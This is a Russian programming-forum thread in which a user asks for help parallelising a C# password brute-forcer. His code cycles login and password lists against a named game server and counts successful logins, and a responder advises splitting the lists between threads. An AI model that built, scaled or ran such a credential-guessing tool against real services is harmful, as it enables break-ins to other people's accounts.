Форум программистов, компьютерный форум, киберфорум
C# Windows Forms
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.89/9: Рейтинг темы: голосов - 9, средняя оценка - 4.89
3 / 3 / 0
Регистрация: 08.10.2012
Сообщений: 49

Как правильно распараллелить выполнение DoWork, чтобы не было взаимоисключающих ситуаций

08.10.2012, 15:37. Показов 1929. Ответов 9
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Так вот, пишу клиент-серверную вещь, что-то вроде переборщика паролей. Количество потоков для перебора пользователь выбирает сам. Далее при нажатии на кнопку выполняется этот код:

C#
1
2
3
4
5
6
7
8
9
10
11
12
list_log = new StreamReader(log_file.Text);
            list_pass = new StreamReader(pass_file.Text);
            flag = true;
            if (!list_pass.EndOfStream && !list_log.EndOfStream)
            {
                for (int i = 0; i < (int)count_threads.Value; i++)
                {
                    thread.Add(new Thread(DoWork)); // thread - список типа Thread
                    thread[i].IsBackground = true;
                    thread[i].Start();
                }
            }
сама функция DoWork:

C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
private void DoWork()
        {
            string log = "";
            string pass;
            byte[] buf = new byte[1024];
            byte[] sx02 = new byte[64];
            byte[] s_res = new byte[64];
            bool end_log;
            bool end_pass;
            end_log = list_log.EndOfStream;
            end_pass = list_pass.EndOfStream;
            while (!end_log || !end_pass)
            {
                TcpClient client = new TcpClient();
                client.Client.Connect("line1.pwarena.com", 29000);
                if (end_pass)
                {
                    flag = true;
                    list_pass.BaseStream.Seek(0, SeekOrigin.Begin);
                }
 
                if (flag)
                {
                    flag = false;
                    log = list_log.ReadLine();
                }
                pass = list_pass.ReadLine();
                client.Client.Receive(buf);
                byte[] send03 = Packet_C03.Create(buf, log, pass);
                client.Client.Send(send03);
                client.Client.Receive(sx02);
                if (sx02[0] == 0x02)
                {
                    IncGood(1); // увеличение значения текстбокса, через Invoke
                }
                else
                {
                    IncFail(1); // тоже через Invoke.
                }
                client.Client.Disconnect(false);
                client.Close();
                end_log = list_log.EndOfStream;
                end_pass = list_pass.EndOfStream;
            }
        }
а суть такова: при клике на кнопку открываются файлы, если они не пустые, то выделяется память под выбранное пользователем кол-во потоков, они становятся фоновыми и запускаются.

Как правильно распараллелить выполнение DoWork, чтобы не было взаимоисключающих ситуаций? Не надо напоминать про критические секции и прочее, читал, пробовал ставить lock в разных местах, в итоге - пашет, но либо не верно, либо результат выглядит как будто работает 1 поток, а не 15 допустим. Подкорректируйте код пожалуйста, чтобы потоки реально работали параллельно и не было конфликтов одновременного обращения к общим данным(сравнение конца файлов, чтение, IncGood/IncFail).

Очень надеюсь на ваше помощь, гугл уже не спасает

P.S. Если кто готов нормально разъяснить и помочь - скайп или почта не подойдут. Пишите сюда
0
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
08.10.2012, 15:37
Ответы с готовыми решениями:

Как правильно распараллелить программу чтобы она не тормозила
С потоками никогда особо не работал, просто не было каких то тяжеловесных задач. Сейчас такая задача появилась. Принимаю почту с почтового...

Как доделать скрипт чтобы было правильно?
Питаюсь сделать вот такой калькулятор http://electroservis.com.ua/price но никак не выходит. Считает только значение для первой записи и...

Как правильно расставить кавычки, чтобы не было ошибок?
Как тут правильно проставить кавычки, чтобы можно было вывести массив $str = &quot;Описание: '.$row.'&quot;;

9
123 / 121 / 6
Регистрация: 21.12.2011
Сообщений: 348
08.10.2012, 16:32
SkYneT, перед запуском потоков, ты должен между ними разделить данные, что бы у каждого потока был свой источник данных, а на выходе результат собирать снова в один массив(файл).

Архитектурно не очень понятно что тебе нужно, подробней объясни.
0
3 / 3 / 0
Регистрация: 08.10.2012
Сообщений: 49
08.10.2012, 16:38  [ТС]
Короче, задача такая: есть 2 файла, они открываются один раз при запуске процесса. Затем допустим у нас 50 потоков выставленно, тогда нужно создать эти 50 потоков, запустить их в фоне. Поток же делает следующее: берет из файлов строчку, переводит курсор на следующую, затем соединяется с сервером, получает пакет, формирует свой, отправляет, получает ответ, в зависимости от успеха ответах выполняется ветка увеличения одного текстбокса или другого, затем соединение рвется и освобождается память под сокет, затем снова та же цепочка пока файлы не прочитаны полностью.

Короче: пусть 5 потоков, один берет 1 строку из 1 файла переводит курсор на 2ую и делает вышеописанные действия, потом 2ой берет уже 2ую строку и тоже переводит курсор и делает то же самое, потом 3ий и т.д..
0
123 / 121 / 6
Регистрация: 21.12.2011
Сообщений: 348
08.10.2012, 16:47
SkYneT, загружаешь файлы в память, допустим получилось 50 строк. делишь эти 50 строк между (допустим) 5 потоками. каждому достается по 10. в таком случае не нужно будет устанавливать курсоров, да и каждый поток будет работать через своё соединение.
1
3 / 3 / 0
Регистрация: 08.10.2012
Сообщений: 49
08.10.2012, 16:50  [ТС]
а если у меня 30000 строк, или даже 500 к+ в итоге? Ничего не повиснет, не?
0
123 / 121 / 6
Регистрация: 21.12.2011
Сообщений: 348
08.10.2012, 17:09
SkYneT, во-первых юзай TreadPool. во-вторых - если ты создашь 50 потоков, от этого они одновременно работать всёравно не будут. в-третьих - нужно смотреть в зависимости от объемов данных. в-четвертых - пробуй, как же можно сказать повиснет или нет.

выкладывай свой код, если будет недостаточно производительности, поищем узкие места.
0
3 / 3 / 0
Регистрация: 08.10.2012
Сообщений: 49
09.10.2012, 13:04  [ТС]
Пул в моем приложении не катит, т.к. потоки надо приостанавливать или полностью останавливать по требованию. Я написал разделение данных, теперь каждый поток берет на себя n строк, вроде работает, но всегда до какого-то определенного момента. А этих моментов 2:

1) если потоков мало, то вылетает ошибка "Ссылка на строку не ссылается на экземпляр String":

C#
1
2
3
4
5
...
byte[] send03 = Packet_C03.Create(buf, log_pass[0, i], log_pass[1, i]); // эта строка в теле потока, ссылается на метод Create,
// а сама ошибка выскакиеват в классе на строке:  byte[] bPass = Encoding.ASCII.GetBytes(pass);, 
// заголовок класса public static byte[] Create(byte[] S01, string log, string pass)
...
и к тому же, она не сразу вылетает, а проработав рандомное кол-во итераций успешно.

2) если потоков относительно много, то ошибка "В экземпляре объекта не задана ссылка на объект" тут, эта строка в теле потока:

C#
1
2
3
4
5
6
...
for (int i = 0; i < log_pass.GetLength(1); i++)
            {
                client.Client.Connect(".........", ......); // В экземпляре объекта не задана ссылка на объект,
// и кстати тоже вылетает не сразу, а проработав несколько успешных итераций.
...
Добавлено через 2 часа 57 минут
тему никто не видет что ли? Проблема еще не решена, и я не понимаю что и как нужно сделать, чтобы все работало.
0
123 / 121 / 6
Регистрация: 21.12.2011
Сообщений: 348
09.10.2012, 13:36
SkYneT, так ничего непонятно, кидай методы в которых ошибки, от кусков картина в голове не складывается.
0
3 / 3 / 0
Регистрация: 08.10.2012
Сообщений: 49
09.10.2012, 13:39  [ТС]
Напиши пожалуйста в скайп или на почту, если не занят. Контакты в 1 посте.
0
123 / 121 / 6
Регистрация: 21.12.2011
Сообщений: 348
09.10.2012, 13:55
Цитата Сообщение от SkYneT Посмотреть сообщение
P.S. Если кто готов нормально разъяснить и помочь - скайп или почта не подойдут. Пишите сюда
модераторы против, поэтому "Пишите сюда".
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
09.10.2012, 13:55
Помогаю со студенческими работами здесь

Как правильно настроить сеть (Чтобы было видно из другой подсети)
Суть такая, есть компьютер дома, есть компьютер на работе. В том и в том случае, подключение идёт по LAN через роутер. Мне нужно,...

Как сделать правильно прогу в Excel-e, чтобы ее можно было продать?
знаю как написать процедурку, а вот как ее зацепить так, что бы можно было сделать продаваемый модуль? Как правильно нужно делать в VBA...

Как правильно сохранить данные в таблицы, чтобы их сразу же можно было использовать?
Вообщем есть 2 таблицы, который созданы в локальной БД c#. Я открываю exe файл программы и в эти две таблицы спокойно заношу данные и потом...

Как правильно создать проект на С++5.02, чтобы можно было работать с WIN API?
Помогите,пожалуйста, устранить ошибку при линковании: Unresolved external '_main' referenced fromD/../C0X32.obj. Что необходимо...

Как распараллелить выполнение процессов в консоли
Есть такая вот консоль: using System; using System.Collections.Generic; using System.Linq; using System.Text; using...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
10
Ответ Создать тему
Новые блоги и статьи
SDL3 для Web (WebAssembly): Реализация движения на Box2D v3 - трение и коллизии с повёрнутыми стенами
8Observer8 20.02.2026
Содержание блога Box2D позволяет легко создать главного героя, который не проходит сквозь стены и перемещается с заданным трением о препятствия, которые можно располагать под углом, как верхнее. . .
Конвертировать закладки radiotray-ng в m3u-плейлист
damix 19.02.2026
Это можно сделать скриптом для PowerShell. Использование . \СonvertRadiotrayToM3U. ps1 <path_to_bookmarks. json> Рядом с файлом bookmarks. json появится файл bookmarks. m3u с результатом. # Check if. . .
Семь CDC на одном интерфейсе: 5 U[S]ARTов, 1 CAN и 1 SSI
Eddy_Em 19.02.2026
Постепенно допиливаю свою "многоинтерфейсную плату". Выглядит вот так: https:/ / www. cyberforum. ru/ blog_attachment. php?attachmentid=11617&stc=1&d=1771445347 Основана на STM32F303RBT6. На борту пять. . .
Камера Toupcam IUA500KMA
Eddy_Em 12.02.2026
Т. к. у всяких "хикроботов" слишком уж мелкий пиксель, для подсмотра в ESPriF они вообще плохо годятся: уже 14 величину можно рассмотреть еле-еле лишь на экспозициях под 3 секунды (а то и больше),. . .
И ясному Солнцу
zbw 12.02.2026
И ясному Солнцу, и светлой Луне. В мире покоя нет и люди не могут жить в тишине. А жить им немного лет.
«Знание-Сила»
zbw 12.02.2026
«Знание-Сила» «Время-Деньги» «Деньги -Пуля»
SDL3 для Web (WebAssembly): Подключение Box2D v3, физика и отрисовка коллайдеров
8Observer8 12.02.2026
Содержание блога Box2D - это библиотека для 2D физики для анимаций и игр. С её помощью можно определять были ли коллизии между конкретными объектами и вызывать обработчики событий столкновения. . . .
SDL3 для Web (WebAssembly): Загрузка PNG с прозрачным фоном с помощью SDL_LoadPNG (без SDL3_image)
8Observer8 11.02.2026
Содержание блога Библиотека SDL3 содержит встроенные инструменты для базовой работы с изображениями - без использования библиотеки SDL3_image. Пошагово создадим проект для загрузки изображения. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru